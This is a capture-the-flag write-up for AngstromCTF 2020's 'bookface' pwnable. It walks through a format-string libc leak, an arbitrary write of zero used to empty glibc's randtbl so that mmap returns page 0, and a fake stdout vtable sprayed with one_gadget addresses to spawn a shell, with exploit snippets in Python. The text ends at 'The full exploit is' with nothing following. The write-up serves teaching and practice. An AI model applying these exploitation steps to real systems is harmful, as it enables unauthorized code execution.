AngstromCTF2020 - bookface writeup

Use the table of contents on the right to navigate to the section that you are interested in.


Challenge Info
  • Given files: bookface.tar.gz.
  • Category: Pwnable
  • Hints: sysctl vm.mmap_min_addr=0 was run on the host system (more a reminder than a hint, because this line is already in the Dockerfile); Brute forcing is not required.
  • Summary: This challenge gives us a Docker environment for a simple program that implements a social media app. The libc version is 2.23. The exploit involves leaking from a format string bug, and RCE through a NULL pointer deference because the min address for mmap() is set to 0. We also have to play with glibc rand() to make mmap() returns the desired address.
  1. Analyze the binary -> find format string bug in the survey (but without %n capability), logic bug that sets arbitrary address as 0.
  2. Take the survey -> leak libc address.
  3. Use arbitrary write to 0 -> set the whole randtbl of rand() to 0.
  4. Login a gain to map a page at address 0 -> spray one_gadget on it.
  5. Overwrite _IO_file_jmpof stdout to 0 -> call one_gadget and get shell

Analyzing the binary

This program is like a very simple social media app with the following functionalities:

  • Login and add/remove friends.
  • When logging in, you are asked for an ID. If it’s a new ID, you will be asked for a name. If the ID already exist, it will be a relogin and you will be asked for a survey.
  • After logging in, you have the options to: add a number of friends, remove a number of friends, remove your account, logout.
  • For the survey, you will be asked to rate 4 aspects on a scale of 0 to 10. If you don’t rate them all 10, you will have to rate again, and if you don’t rate them all 10 in the second time, your friends will be set to 0.

The first bug here is that in the survey, there is a format string bug, but the character n has been filtered out, so this can only be used for leaking:

if (strchr(survey, 'n') != NULL) {
    //a bug bounty report said something about hacking and the letter n
if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
    puts("Those ratings don't seem quite right. Please review them and try again:");

The next bug is in that the number of friends in the struct is defined as a pointer, but treated as a number in the add/remove friend options, and treated as a pointer again when the user’s friend get set to 0 -> we can write 0 to any arbitrary address:

struct profile {
	char name[0x100];
	long long *friends; //some people have a lot of friends
if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
		puts("Our survey says... you don't seem very nice. I doubt you have any friends!");
		*(user->friends) = 0;

The final thing is in the Dockerfile and the hint itself: sysctl vm.mmap_min_addr=0 was run on the host system. There is a reason why most real systems set this to 4096 instead of 0, and this is a vulnearability. This makes so that mmap() can return a page at address 0, making NULL pointer deferences valid.

Leaking libc

Using the format string bug in the survey, we can easily leak libc’s address through the 3rd parameter:

# Leak libc through fmt
login(0, "a", "10\n10\n10\n10\n", "10\n10\n10\n10\n")
r.sendlineafter("ID: ", "0")
r.sendafter("Content: ", "%3$lx aaaaa\n")
libc_base = int(r.recv(12), 16) - 1012416"libc_base: " + hex(libc_base))

Zeroing out randtbl

Because the only bug we are left with is a arbitrary write to 0 bug, it initially seems that we cannot do much with it. But since the min address for mapping pages is 0, I thought that we could try to somehow map a page there, and use the bug to overwrite a pointer somewhere in libc and defrencing that pointer, which would normally be a fault do to NULL pointer deference, is now valid.

But first, the problem is how to map a page at address 0, the user struct is stored in a separate page mapped with rand():

user = mmap(rand()&0xfffffffffffff000, sizeof (struct profile), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);

Therefore, if somehow we can make rand() returns 0, we win. At first I tried to bruteforce it, but it doesn’t end well on the remote server. Then i digged in to the source of rand() to see if I could make anything works there. In short, this is how rand() works: in the writable region of libc, there is a table of random values called randtbl. When rand() is called, it takes 2 “random” numbers in randtbl, adds them together and returns it as the result, it also uses that result to update the current randtbl. So, if we keep overwriting entries in randtbl to 0, it will eventually make rand() always return 0. The code in libc is as follows:

__random_r (struct random_data *buf, int32_t *result)
    int32_t *fptr = buf->fptr;
    int32_t *rptr = buf->rptr;
    int32_t *end_ptr = buf->end_ptr;
    uint32_t val;
    val = *fptr += (uint32_t) *rptr;
    /* Chucking least random bit.  */
    *result = val >> 1;
    if (fptr >= end_ptr)
        fptr = state;
        if (rptr >= end_ptr)
            rptr = state;
    buf->fptr = fptr;
    buf->rptr = rptr;

And so I tried to do just that, and it succeeded:

# Zero out rand_tbl
login(1, p64(one_gadget)*32, "10\n10\n10\n10\n", "10\n10\n10\n10\n")

for j in range(4):
    print j
    for i in range(9):
        print str(j) + ":" + str(i)
        set_zero(rand_tbl + 8*i)

One gadget spraying

The next concern is what to do with the page that is mapped at address 0. We cannot put shellcode there because it is mapped as non-executable. Therefore, I thought of making it a fake vtable for a FILE structure, because this is libc version 2.23, so there is no vtable validity check. So my plan was to spray a lot one_gadgets there, then overwrite the vtable pointer of stdout, which is _IO_file_jmp, to 0. This way, the next calls to any function on stdout will pop a shell.

# Spray one gadget on page at address 0
login(1, p64(one_gadget)*32, "10\n10\n10\n10\n", "10\n10\n10\n10\n")
add_friend(IO_file_jmp / 8)

login(1, p64(one_gadget)*32, "01\n01\n01\n01\n", "01\n01\n01\n01\n")


The full exploit is